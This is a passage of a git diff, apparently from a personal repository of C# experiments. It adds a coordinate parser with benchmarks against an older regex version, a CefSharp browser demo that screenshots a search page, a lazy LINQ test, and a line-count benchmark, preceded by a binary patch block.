z#J#mdYi2@39%C+X2tw|=^L^v2Le9FMopms>(Mc|eQ&BUPeDyuR&zTX;;LnF#R=3f| z*&&d#TrpPpNHmR3ALN4GdXUDEiguB?uVQ9E_y!DK6PtCNK)4lt(J8-sT6HoO)^T?% zuaJHeKN`{wE5v=Dyd{+>H2vR%^+%>7eS@pb6Q;n4WT2%Jbf%s@NxJns3nt*$Q#vwH zE>(9qV@vEjQn49*zkAHOqR&?R7C{2Y^EA@|^dJk%##S=t&Jjr1bt1SwyPJ?ei*RC= zQ>{ee9r3R#-=QKZZ@mNjw=`w!x6fA_<5va)CYG$ZQ(9t5Mk+1PO>~OR@o~r51=Tb8 z1eizdyS?;?CB`;w?+w_CBouiOMxYO>EPW_5NwfW(1wGhYgK2>G- zo8aoIJ*-^Qcn%}$T3MrDY-_NBwAow&jqe8>c)1sVDjx4%s)ui@dF}0vA>49E*vF#X z(9C7mFA@aHB}Qw-c9|Vz>QTwXjM^)-tIV%w#>**^Xaq$i0uj4$90sY?P3=a1c@*gm z+Kp;2y4>MbaeNrr^rvs-p~mWyoS$Pb@-~7>!o8nOPQU=C}Q^QK-M z87H^i(!wSXJTmSfykWAQTR2QYgthL~rmUh3%1f$Pyr(0*?JMAui3Y=0r4*FTlkfU$ zNp4^N;i4UnNT2i}ebh=Q%sLJ_Pb6AXT12F}45H7i$H5)L~xt90>E<@mi=Vz1ATc{w~ zE17sUzIq+ zEqf99$alJV>MLsWg(nwf#0a|^BpDbWmXV6IysZkEC6>pd+Q`TD`^7>C@xO@u-<@}v z#elNLqi8OF>o`;me4)r5opK#!>5mgd6~{<$j?2(B)--N!F$#^6`gQWiY&$1Q1p|?f zx>JTvX6eU{OEW7G2XNF9=X90}g8N}qg}M_Q;vWf(yp-Cn$y|e6KAlR6zv*iprKNxc zjauXef?vydi!>_t)?ct0yWK6L>&4Pn)olWWFF!2x(-4;0v3a4X2#sp8Vo`Kc(UEH~ z2cKnNEE~(?TEEU_(4lL>&`!()-{#H_S9x&TsL1jI^l7I1g9iq=f~x-U3qw9da3Ll^Q7LDcZ4`j5r%b5 zCc*p4i6`x+35`5|fw50STi<~?@ax<Ov1X@NMkJKYQDWmBjULzM475jfcNq-w zc2A(U4v)e$xpv6^T6;WS?TV-{Qioa_og*s_ zR7gkoJW+^bs3vc+@CFrfdKeScTR>P6r+#O+ z%c^o9TMNe)KT*Xp``fPp)`K5*fd9=mIYeZ?ZMTX_9(R@en)Q(-e` z8(zh3tJ9iWBVd=~@Z=Uc+g;@c{e@}FA%jxnoc&?dK>l{r=np0OiK+E!RiEK!Cd*rm z;(;vj-)PQ`G(cXx7by0jZ+#gkhdee9O&Z*0v;sF*Rr7)d0{IGq#@UX3uhUygP8jIC zjje5v`CU@X>RQPxX-9h^2QevYRSSnHwaq3QCW+1j*a|$H-5vnna#8!=y(EqVq-1!x z(7#jO)LzLiMRi=&V2YHGUKbq44!FcGki~f={qS@xRfphMsy9l=MdVaN9?6<}yx6kUR#=YQafsKVJ;P8jSwIIB|~iAQx~as`+{!}Sa?o@_B`e%2M*3GGRjU0gigr{196=KKQZ;HnNPlV?)H zT8=!5f~PlD_zVv9=-57OAP=xL z7wcnPaPGel{BLuV$Mf~iBJ`sYGyUsj@^d&6X|VCJrIb~6Nys^9THd{8O|6UM-ya#m zxiJH3Mo9wxhkv#u&8ZLrqb};vC79sD5L2U~R@|>^*(%945zyUPNG_#?nA0!fWx?SX zZMNIOk)`^4{d{PT)Fj$B82@<|$T^^NlPEC@@*2J{9y$CQk2$Zeb}n!U}c^6Fm*@cfwKKrcv2i*ax%GgTi^0B zuc|tkiqE`H%hiO8Mh?L^m&Z?R|LHtwP8avKRb1(Wxg-T!nw(G?u;wYp;Y-#AALUPmy8&C<^_Sns(;vGR!jH9DQb4Ag}Uc}A^@u}ZmH zG9wV4PaE_cc4imUDNh`&+?C6_rH4&~y*ZZs58eZhW7X`5b|Z}tNC|Usv+gFd!0BN` z78$s(b9&T%xZjhYWD0AT1KXOLMrd_~Rg!^d*#Q6a`#o(jn&_>r{n_Q%pRIagJp!;6Xdi$Zjzg9%q#J5I=Ce^o*b54uQkQS@<*VU)XsveJ6RcW2L|Z zALQW*aR6ezPQzLz4>6VNB^uTeI zMj^jX=9t5`BhLo+EXO+uYcZH^D9+;b>%b4;O5c4+fNy$k^LWRm`BmsUXm4p19MI@% zMXDaqqcXaxl9aW|+Z>#i_WR%vQaGtBcrMbQIc@OXx!%Y75|pt445x`YIdc6!QnJp} z-Q@l+Kax%i^2@yAWUcajI&KRL*kz^~Ki{5Ptj@lA#q!n19@yH-qZkMG?frk_8=Qn3 zr!j8R5Zqe)Ieeg)VUiY;_sItO&&!yd4fT`XR?=0)0_yU2Gg*w5-F^R zf#36Et?0EqSac$c7iuZu;@KQrC`E*#CT|<9&+Cn~cUyU@n}1*8sD=m&zKUn`jm(p58;p?AEq6vW=PKzaYyyG5H9B8d~ua{D+ zs3Rq)1WnOxuzY^S@8tcfs$o$(m0GyBF##GG*lO8j3sZ%_yWspAJMr<@j5sq=Ua}}M zH=wNd&(Nenj*~oN?KJL?tJ>dAjT_>1u0`q2Lnd>9ohLb#JnO%gtGc>;%-F^^K@*=L zs>JG>E#SZ9>g7VOwasxtrZd<27e56sfmAEwleiC<{u^_h_&5-qSFvl@J^$@VTjq?S zxshSg4!xymVHs(Q82!P3D`>O(TT8;HUZeiAk%+%vtTs4u;* zU3>Ck-Oexe9dUH=vYx;}2-s4+!AI=5rqH>s{O>Z(_ClOWj=B9DVQrbS3j8cS<`Fju z%>79H484U7mT4688`wLP3fFIRRo9;^F$e~Tv2BQ{?zu}qV#?Q5tHn~{{kRjp1SV2hlBAx0e+@0OZ88=#$@r z!+#>lJCd?F)H$t7TJk$XUGOfYaTy%oP`&O|nm +/// Represents a set of coordinates. +/// +public readonly struct Coordinates +{ + /// + /// Initializes a new instance of the struct. + /// + /// The X coordinate. + /// The Y coordinate. + /// The Z coordinate. + /// The yaw. + /// + /// if these coordinates represent relative coordinates; otherwise. + /// + public Coordinates(double x, double y, double z, double yaw, bool isRelative = false) + : this(null, x, y, z, yaw, isRelative) + { + } + + /// + /// Initializes a new instance of the struct. + /// + /// The world name. + /// The X coordinate. + /// The Y coordinate. + /// The Z coordinate. + /// The yaw. + /// + /// if these coordinates represent relative coordinates; otherwise. + /// + public Coordinates(string? world, double x, double y, double z, double yaw, bool isRelative = false) + { + World = world; + X = x; + Y = y; + Z = z; + Yaw = yaw; + IsRelative = isRelative; + } + + /// + /// Gets or initializes a value indicating whether this instance represents relative coordinates. + /// + /// + /// if this instance represents relative coordinates; otherwise, . + /// + public bool IsRelative { get; init; } + + /// + /// Gets or initializes the world. + /// + /// The world. + public string? World { get; init; } + + /// + /// Gets or initializes the X coordinate. + /// + /// The X coordinate. + public double X { get; init; } + + /// + /// Gets or initializes the Y coordinate. + /// + /// The Y coordinate. + public double Y { get; init; } + + /// + /// Gets or initializes the yaw. + /// + /// The yaw. + public double Yaw { get; init; } + + /// + /// Gets or initializes the Z coordinate. + /// + /// The Z coordinate. + public double Z { get; init; } + + public static bool operator ==(Coordinates left, Coordinates right) => + left.Equals(right); + + public static bool operator !=(Coordinates left, Coordinates right) => + !(left == right); + + /// + /// Parses a coordinate string. + /// + /// The coordinates to parse. + /// An instance of . + public static Coordinates Parse(string coordinates) + { + return Serializer.Deserialize(coordinates); + } + + /// + /// Returns a value indicating whether this instance of and another instance of + /// are equal. + /// + /// The instance against which to compare. + /// + /// if this instance is equal to ; otherwise, . + /// + public bool Equals(Coordinates other) + { + return X.Equals(other.X) && + Y.Equals(other.Y) && + Z.Equals(other.Z) && + Yaw.Equals(other.Yaw) && + IsRelative.Equals(other.IsRelative) && + string.Equals(World, other.World); + } + + /// + public override bool Equals(object? obj) + { + return obj is Coordinates other && Equals(other); + } + + /// + public override int GetHashCode() + { + return HashCode.Combine(World, X, Y, Z, Yaw); + } + + /// + /// Returns the string representation of these coordinates. + /// + /// A representation of these coordinates. + public override string ToString() + { + return ToString("{0}"); + } + + /// + /// Returns the string representation of these coordinates. + /// + /// The format to apply to each component. + /// A representation of these coordinates. + public string ToString(string format) + { + return Serializer.Serialize(this, format); + } + + internal static class Serializer + { + public static string Serialize(in Coordinates coordinates, string format) + { + int count = Serialize(coordinates, format, Span.Empty); + Span chars = stackalloc char[count]; + Serialize(coordinates, format, chars); + return chars.ToString(); + } + + public static int Serialize(in Coordinates coordinates, string format, Span destination) + { + using Utf8ValueStringBuilder builder = ZString.CreateUtf8StringBuilder(); + + if (!string.IsNullOrWhiteSpace(coordinates.World)) + { + builder.Append(coordinates.World); + builder.Append(' '); + } + + bool north = coordinates.Z >= 0.0; + bool west = coordinates.X >= 0.0; + bool up = coordinates.Y >= 0.0; + bool dir = coordinates.Yaw >= 0.0; + + if (coordinates.IsRelative) + { + if (north) + { + builder.Append('+'); + } + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Z)); + builder.Append(' '); + + if (west) + { + builder.Append('+'); + } + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.X)); + builder.Append(' '); + + if (up) + { + builder.Append('+'); + } + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Y)); + builder.Append("a "); + + if (up) + { + builder.Append('+'); + } + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Yaw)); + } + else + { + char zChar = north ? 'n' : 's'; + char xChar = west ? 'w' : 'e'; + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, Math.Abs(coordinates.Z))); + builder.Append(zChar); + builder.Append(' '); + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, Math.Abs(coordinates.X))); + builder.Append(xChar); + builder.Append(' '); + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Y)); + builder.Append("a "); + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Yaw)); + } + + ReadOnlySpan bytes = builder.AsSpan(); + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + + for (var index = 0; index < destination.Length; index++) + { + destination[index] = chars[index]; + } + + return builder.Length; + } + + public static Coordinates Deserialize(ReadOnlySpan value) + { + using Utf8ValueStringBuilder builder = ZString.CreateUtf8StringBuilder(); + string? world = null; + var isRelative = false; + double x = 0.0, y = 0.0, z = 0.0, yaw = 0.0; + + var word = 0; + for (var index = 0; index < value.Length; index++) + { + char current = value[index]; + bool atEnd = index == value.Length - 1; + + if (atEnd || char.IsWhiteSpace(current)) + { + if (!builder.AsSpan().All(b => char.IsWhiteSpace((char)b))) + { + if (atEnd) + { + builder.Append(current); + } + + ProcessBuffer(); + word++; + } + + builder.Clear(); + } + else + { + builder.Append(current); + } + } + + return new Coordinates(world, x, y, z, yaw, isRelative); + + void ProcessBuffer() + { + ReadOnlySpan bytes = builder.AsSpan(); + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + bool hasWorld = !string.IsNullOrWhiteSpace(world); + + if (word == 0 && !IsUnitString(bytes)) + { + world = chars.ToString().AsNullIfWhiteSpace(); + } + else if (IsRelativeUnit(bytes)) + { + isRelative = true; + + switch (word) + { + case 0 when !hasWorld: + case 1 when hasWorld: + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out z); + break; + case 1 when !hasWorld: + case 2 when hasWorld: + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out x); + break; + case 2 when !hasWorld: + case 3 when hasWorld: + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out y); + break; + case 3 when !hasWorld: + case 4 when hasWorld: + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out yaw); + break; + } + } + else + { + if (((!hasWorld && word == 1) || (hasWorld && word == 2)) && chars[^1] is 'x' or 'X' or 'w' or 'W') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out x); + } + else if (((!hasWorld && word == 0) || (hasWorld && word == 1)) && chars[^1] is 'z' or 'Z' or 'n' or 'N') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out z); + } + else if (((!hasWorld && word == 1) || (hasWorld && word == 2)) && chars[^1] is 'e' or 'E') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out x); + x = -x; + } + else if (((!hasWorld && word == 0) || (hasWorld && word == 1)) && chars[^1] is 's' or 'S') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out z); + z = -z; + } + else if (((!hasWorld && word == 2) || (hasWorld && word == 3)) && chars[^1] is 'a' or 'A') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out y); + } + else if (((!hasWorld && word == 3) || (hasWorld && word == 4)) && double.TryParse(chars, + NumberStyles.Float, CultureInfo.InvariantCulture, out double temp)) + { + yaw = temp; + } + } + } + } + + /// + /// Returns a value indicating whether the specified span of characters represents a relative unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid relative unit string; otherwise, + /// . + /// + public static bool IsAbsoluteUnit(ReadOnlySpan bytes) + { + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + return IsRelativeUnit(chars); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a relative unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid relative unit string; otherwise, + /// . + /// + public static bool IsAbsoluteUnit(ReadOnlySpan chars) + { + ReadOnlySpan validChars = "nNeEwWsSaA"; + return double.TryParse(chars, out _) || + (validChars.Contains(chars[^1]) && + double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out _)); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a relative unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid relative unit string; otherwise, + /// . + /// + public static bool IsRelativeUnit(ReadOnlySpan bytes) + { + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + return IsRelativeUnit(chars); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a relative unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid relative unit string; otherwise, + /// . + /// + public static bool IsRelativeUnit(ReadOnlySpan chars) + { + return (chars[0] == '+' || chars[0] == '-') && + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out _); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a valid coordinate unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid coordinate unit string; otherwise, + /// . + /// + public static bool IsUnitString(ReadOnlySpan bytes) + { + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + return IsUnitString(chars); + } + + /// + /// Returns a value indicating whether the specified span of characters represents a valid coordinate unit string. + /// + /// The span of characters to validate. + /// + /// if represents a valid coordinate unit string; otherwise, + /// . + /// + public static bool IsUnitString(ReadOnlySpan chars) + { + chars = chars.Trim(); + + if (chars.Length == 0) + { + return false; + } + + if (!char.IsDigit(chars[0]) && chars[0] != '+' && chars[0] != '-') + { + return false; + } + + // thicc char span + return IsRelativeUnit(chars) || IsAbsoluteUnit(chars); + } + } +} diff --git a/csharp/E049-CoordinateBenchmarks/E049-CoordinateBenchmarks.csproj b/csharp/E049-CoordinateBenchmarks/E049-CoordinateBenchmarks.csproj new file mode 100644 index 0000000..53f0bbf --- /dev/null +++ b/csharp/E049-CoordinateBenchmarks/E049-CoordinateBenchmarks.csproj @@ -0,0 +1,17 @@ + + + + Exe + net8.0 + E049_CoordinateBenchmarks + enable + enable + + + + + + + + + diff --git a/csharp/E049-CoordinateBenchmarks/OldCoordinates.cs b/csharp/E049-CoordinateBenchmarks/OldCoordinates.cs new file mode 100644 index 0000000..16ab2ce --- /dev/null +++ b/csharp/E049-CoordinateBenchmarks/OldCoordinates.cs @@ -0,0 +1,210 @@ +using System.Text.RegularExpressions; + +/// +/// Represents a struct which contains Virtual Paradise coordinates. +/// +public struct OldCoordinates : IEquatable +{ + /// + /// Gets or sets the direction. + /// + public double Direction { get; set; } + + /// + /// Gets or sets a value indicating whether this instance represents relative coordinates. + /// + public bool IsRelative { get; set; } + + /// + /// Gets or sets the world. + /// + public string World { get; set; } + + /// + /// Gets or sets the X coordinate. + /// + public double X { get; set; } + + /// + /// Gets or sets the Y coordinate. + /// + public double Y { get; set; } + + /// + /// Gets or sets the Z coordinate. + /// + public double Z { get; set; } + + public static bool operator ==(OldCoordinates left, OldCoordinates right) => + left.Equals(right); + + public static bool operator !=(OldCoordinates left, OldCoordinates right) => + !(left == right); + + /// + /// Parses a coordinate string. + /// + /// The coordinates to parse. + /// Returns an instance of . + public static OldCoordinates ParseFaster(string coordinates) + { + const string pattern = + @"(?:([a-z]+) +)?(?: *(\+)?(-?\d+(?:\.\d+)?)([ns])? +(\+)?(-?\d+(?:\.\d+)?)([we])?( +(\+)?(-?\d+(?:\.\d+)?)a)?( +(\+)?(-?\d+(?:\.\d+)?))?)?"; + Regex regex = new(pattern, RegexOptions.IgnoreCase); + + Match match = regex.Match(coordinates); + bool relative = match.Groups[2].Success || match.Groups[5].Success; + + string world = match.Groups[1].Success ? match.Groups[1].Value : string.Empty; + double z = match.Groups[3].Success ? double.Parse(match.Groups[3].Value) : 0.0; + double x = match.Groups[6].Success ? double.Parse(match.Groups[6].Value) : 0.0; + double y = match.Groups[10].Success ? double.Parse(match.Groups[10].Value) : 0.0; + double direction = match.Groups[13].Success ? double.Parse(match.Groups[13].Value) : 0.0; + + if (match.Groups[4].Success && + match.Groups[4].Value.Equals("S", StringComparison.InvariantCultureIgnoreCase)) + { + z = -z; + } + + if (match.Groups[7].Success && + match.Groups[7].Value.Equals("E", StringComparison.InvariantCultureIgnoreCase)) + { + x = -x; + } + + return new OldCoordinates + { + Z = z, + X = x, + Y = y, + Direction = direction, + World = world, + IsRelative = relative + }; + } + + /// + /// Parses a coordinate string. + /// + /// The coordinates to parse. + /// Returns an instance of . + public static OldCoordinates Parse(string coordinates) + { + const string pattern = + @"(?:([a-z]+) *)?(?: *(\+)?(-?\d+(?:\.\d+)?)([ns])? +(\+)?(-?\d+(?:\.\d+)?)([we])?( +(\+)?(-?\d+(?:\.\d+)?)a)?( +(\+)?(-?\d+(?:\.\d+)?))?)?"; + + var regex = new Regex(pattern, RegexOptions.IgnoreCase); + Match match = regex.Match(coordinates); + bool relative = match.Groups[2].Success || match.Groups[5].Success; + + string world = match.Groups[1].Success ? match.Groups[1].Value : string.Empty; + double z = match.Groups[3].Success ? Convert.ToDouble(match.Groups[3].Value) : 0.0; + double x = match.Groups[6].Success ? Convert.ToDouble(match.Groups[6].Value) : 0.0; + double y = match.Groups[10].Success ? Convert.ToDouble(match.Groups[10].Value) : 0.0; + double direction = match.Groups[13].Success ? Convert.ToDouble(match.Groups[13].Value) : 0.0; + + if (match.Groups[4].Success && + match.Groups[4].Value.Equals("S", StringComparison.InvariantCultureIgnoreCase)) + { + z = -z; + } + + if (match.Groups[7].Success && + match.Groups[7].Value.Equals("E", StringComparison.InvariantCultureIgnoreCase)) + { + x = -x; + } + + return new OldCoordinates + { + Z = z, + X = x, + Y = y, + Direction = direction, + World = world, + IsRelative = relative + }; + } + + /// + /// Returns the string representation of these coordinates. + /// + /// Returns a . + public override string ToString() + { + return ToString("{0}"); + } + + /// + /// Returns the string representation of these coordinates. + /// + /// The format to apply to each component. + /// Returns a . + public string ToString(string format) + { + var result = ""; + + if (!string.IsNullOrWhiteSpace(World)) + { + result += $"{World} "; + } + + bool north = Z >= 0.0; + bool west = X >= 0.0; + bool up = Y >= 0.0; + bool dir = Direction >= 0.0; + + if (IsRelative) + { + string zChar = north ? "+" : ""; + string xChar = west ? "+" : ""; + string upChar = up ? "+" : ""; + string dirChar = dir ? "+" : ""; + + result += zChar + string.Format(format, Z) + " " + + xChar + string.Format(format, X) + " " + + upChar + string.Format(format, Y) + " " + + dirChar + string.Format(format, Direction); + } + else + { + string zChar = north ? "n" : "s"; + string xChar = west ? "w" : "e"; + result += zChar + string.Format(format, Z) + " " + + xChar + string.Format(format, X) + " " + + string.Format(format, Y) + "a " + + string.Format(format, Direction); + } + + return result; + } + + /// + public override bool Equals(object? obj) + { + return obj is OldCoordinates other && Equals(other); + } + + /// + public override int GetHashCode() + { + unchecked + { + int hashCode = Direction.GetHashCode(); + hashCode = (hashCode * 397) ^ X.GetHashCode(); + hashCode = (hashCode * 397) ^ Y.GetHashCode(); + hashCode = (hashCode * 397) ^ Z.GetHashCode(); + return hashCode; + } + } + + /// + public bool Equals(OldCoordinates other) + { + return Direction.Equals(other.Direction) && + X.Equals(other.X) && + Y.Equals(other.Y) && + Z.Equals(other.Z); + } +} \ No newline at end of file diff --git a/csharp/E049-CoordinateBenchmarks/Program.cs b/csharp/E049-CoordinateBenchmarks/Program.cs new file mode 100644 index 0000000..1fc5d8b --- /dev/null +++ b/csharp/E049-CoordinateBenchmarks/Program.cs @@ -0,0 +1,20 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class CoordinateBenchmarks +{ + [Benchmark] + public OldCoordinates OldParse() + { + return OldCoordinates.Parse("Mutation 0n 0e 0a 0"); + } + + [Benchmark] + public Coordinates NewParse() + { + return Coordinates.Parse("Mutation 0n 0e 0a 0"); + } +} diff --git a/csharp/E050-CEF/AsyncContext.cs b/csharp/E050-CEF/AsyncContext.cs new file mode 100644 index 0000000..d7cc82d --- /dev/null +++ b/csharp/E050-CEF/AsyncContext.cs @@ -0,0 +1,24 @@ +namespace E050_CEF; + +internal static class AsyncContext +{ + public static void Run(Func func) + { + var prevCtx = SynchronizationContext.Current; + + try + { + var syncCtx = new SingleThreadSynchronizationContext(); + SynchronizationContext.SetSynchronizationContext(syncCtx); + + Task t = func(); + t.ContinueWith(delegate { syncCtx.Complete(); }, TaskScheduler.Default); + syncCtx.RunOnCurrentThread(); + t.GetAwaiter().GetResult(); + } + finally + { + SynchronizationContext.SetSynchronizationContext(prevCtx); + } + } +} \ No newline at end of file diff --git a/csharp/E050-CEF/E050-CEF.csproj b/csharp/E050-CEF/E050-CEF.csproj new file mode 100644 index 0000000..eff0e38 --- /dev/null +++ b/csharp/E050-CEF/E050-CEF.csproj @@ -0,0 +1,24 @@ + + + + Exe + net8.0 + E050_CEF + enable + enable + + + + $(DefineConstants);WIN64 + + + + $(DefineConstants);WIN32 + + + + + + + + diff --git a/csharp/E050-CEF/Program.cs b/csharp/E050-CEF/Program.cs new file mode 100644 index 0000000..d361697 --- /dev/null +++ b/csharp/E050-CEF/Program.cs @@ -0,0 +1,72 @@ +using CefSharp; +using CefSharp.DevTools.Page; +using CefSharp.OffScreen; +using CefSharp.Structs; +using E050_CEF; +using SixLabors.ImageSharp; +using Cef = CefSharp.Core.Cef; +using CefSettingsBase = CefSharp.Core.CefSettingsBase; + +string browserSubprocessPath; + +if (Environment.OSVersion.Platform == PlatformID.Win32NT) +{ + string platformDirectory = Environment.Is64BitProcess ? "win-x64" : "win-x86"; + browserSubprocessPath = Path.Join("runtimes", platformDirectory, "native", "CefSharp.BrowserSubprocess.exe"); +} +else +{ + browserSubprocessPath = Path.Join("runtimes", "unix", "native", "CefSharp.BrowserSubprocess"); +} + +browserSubprocessPath = Path.GetFullPath(browserSubprocessPath); +Console.WriteLine($"Using browser subprocess path: {browserSubprocessPath}"); + +string cachePath = Path.GetFullPath("cache"); +Directory.CreateDirectory(cachePath); +Console.WriteLine($"Using cache path: {cachePath}"); + +AsyncContext.Run(async () => +{ + Console.WriteLine("Initializing CEF..."); + if (!Cef.Initialize(new CefSettingsBase { CachePath = cachePath, BrowserSubprocessPath = browserSubprocessPath })) + { + Console.WriteLine("Cannot initialize CEF"); + return; + } + + using var requestContext = new RequestContext(); + var browserSettings = new BrowserSettings { WindowlessFrameRate = 60 }; + + Console.WriteLine("Opening browser to URL..."); + using var browser = new ChromiumWebBrowser("https://google.com/", browserSettings, requestContext); + LoadUrlAsyncResponse loadResponse = await browser.WaitForInitialLoadAsync(); + if (!loadResponse.Success) + { + Console.WriteLine($"Failed to load page, Error={loadResponse.ErrorCode}, HttpStatus={loadResponse.HttpStatusCode}"); + return; + } + + Console.WriteLine("Fuck your cookies!"); + await browser.EvaluateScriptAsync("document.getElementById('W0wltc').click();"); + + Console.WriteLine("Modifying DOM..."); + await browser.EvaluateScriptAsync("document.querySelector('[name=q]').value = 'CefSharp Was Here!'"); + + DomRect contentSize = await browser.GetContentSizeAsync(); + var viewport = new Viewport + { + Width = contentSize.Width, + Height = contentSize.Height, + Scale = 1.0 + }; + + Console.WriteLine("Capturing screenshot..."); + byte[] bitmap = await browser.CaptureScreenshotAsync(viewport: viewport); + using var image = Image.Load(bitmap); + + Console.WriteLine("Saving screenshot to image.png..."); + image.Save("image.png"); + + Console.WriteLine("Done!"); +}); diff --git a/csharp/E050-CEF/SingleThreadSynchronizationContext.cs b/csharp/E050-CEF/SingleThreadSynchronizationContext.cs new file mode 100644 index 0000000..d2c680f --- /dev/null +++ b/csharp/E050-CEF/SingleThreadSynchronizationContext.cs @@ -0,0 +1,26 @@ +using System.Collections.Concurrent; + +namespace E050_CEF; + +internal sealed class SingleThreadSynchronizationContext : SynchronizationContext +{ + private readonly BlockingCollection> _queue = new(); + + public override void Post(SendOrPostCallback d, object? state) + { + _queue.Add(new KeyValuePair(d, state)); + } + + public void RunOnCurrentThread() + { + while (_queue.TryTake(out var workItem, Timeout.Infinite)) + { + workItem.Key(workItem.Value); + } + } + + public void Complete() + { + _queue.CompleteAdding(); + } +} diff --git a/csharp/E051-LazyLinqTest/E051-LazyLinqTest.csproj b/csharp/E051-LazyLinqTest/E051-LazyLinqTest.csproj new file mode 100644 index 0000000..d01baa5 --- /dev/null +++ b/csharp/E051-LazyLinqTest/E051-LazyLinqTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E051_LazyLinqTest + enable + enable + + + diff --git a/csharp/E051-LazyLinqTest/Program.cs b/csharp/E051-LazyLinqTest/Program.cs new file mode 100644 index 0000000..78922a3 --- /dev/null +++ b/csharp/E051-LazyLinqTest/Program.cs @@ -0,0 +1,15 @@ +IEnumerable foo = new int[50].Select(i => +{ + Console.WriteLine("Yikes"); + return i; +}); + +var count = 0; +foreach (int a in foo) +{ + count++; + if (count == 5) + { + break; + } +} diff --git a/csharp/E052-LineCountBenchmarks/E052-LineCountBenchmarks.csproj b/csharp/E052-LineCountBenchmarks/E052-LineCountBenchmarks.csproj new file mode 100644 index 0000000..b71001e --- /dev/null +++ b/csharp/E052-LineCountBenchmarks/E052-LineCountBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E052_LineCountBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E052-LineCountBenchmarks/Options.cs b/csharp/E052-LineCountBenchmarks/Options.cs new file mode 100644 index 0000000..0999de4 --- /dev/null +++ b/csharp/E052-LineCountBenchmarks/Options.cs @@ -0,0 +1,16 @@ +internal class Options +{ + public bool Whitespace { get; set; } = false; + + public IEnumerable Ignore { get; set; } = Array.Empty(); + + public string IgnoreChars { get; set; } = string.Empty; + + public string Path { get; set; } = "."; + + public string Pattern { get; set; } = "^.+$"; + + public bool Recurse { get; set; } = false; + + public bool Verbose { get; set; } = false; +} diff --git a/csharp/E052-LineCountBenchmarks/Program.cs b/csharp/E052-LineCountBenchmarks/Program.cs new file mode 100644 index 0000000..811c41b --- /dev/null +++ b/csharp/E052-LineCountBenchmarks/Program.cs @@ -0,0 +1,133 @@ +using System.Text.RegularExpressions; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LineCountBenchmarks +{ + private readonly Options _options = new() + { + Path = Environment.GetEnvironmentVariable("TEST_PATH") ?? ".", + Pattern = "\\.cs$" + }; + + [Benchmark] + public async Task CountLinesAsync() + { + var regex = new Regex(_options.Pattern, RegexOptions.Compiled); + var path = Path.GetFullPath(_options.Path); + var searchOption = _options.Recurse ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly; + var files = Directory.GetFiles(path, "*", searchOption); + var count = 0; + + foreach (var file in files) + { + var directory = Path.GetDirectoryName(file); + if (directory is null) + { + continue; + } + + if (_options.Ignore.Select(Path.GetFullPath).Any(i => directory.StartsWith(i))) + { + continue; + } + + if (!regex.IsMatch(file)) + { + continue; + } + + var lines = (await File.ReadAllLinesAsync(file).ConfigureAwait(false)) as IEnumerable; + + if (!_options.Whitespace) + { + lines = lines.Where(line => !string.IsNullOrWhiteSpace(line)); + } + + if (!string.IsNullOrWhiteSpace(_options.IgnoreChars)) + { + lines = lines.Where(line => line.Trim().Length > 0 && _options.IgnoreChars.IndexOf(line.Trim()[0]) != 0); + } + + var fileCount = lines.Count(); + count += fileCount; + } + + return count; + } + + [Benchmark] + public int Count() + { + var regex = new Regex(_options.Pattern, RegexOptions.Compiled); + string path = Path.GetFullPath(_options.Path); + var searchOption = _options.Recurse ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly; + string[] files = Directory.GetFiles(path, "*", searchOption); + var count = 0; + var ignoreChars = _options.IgnoreChars.AsSpan(); + + foreach (string file in files) + { + count = CountLinesInFile(file, _options, regex, ignoreChars, count); + } + + return count; + } + + private static int CountLinesInFile(string file, Options options, Regex regex, ReadOnlySpan ignoreChars, int count) + { + string? directory = Path.GetDirectoryName(file); + + if (directory is null) + { + return count; + } + + string directoryFullPath = Path.GetFullPath(directory); + var ignore = false; + foreach (string i in options.Ignore) + { + if (directoryFullPath.StartsWith(Path.GetFullPath(i))) + { + ignore = true; + break; + } + } + + if (ignore) + 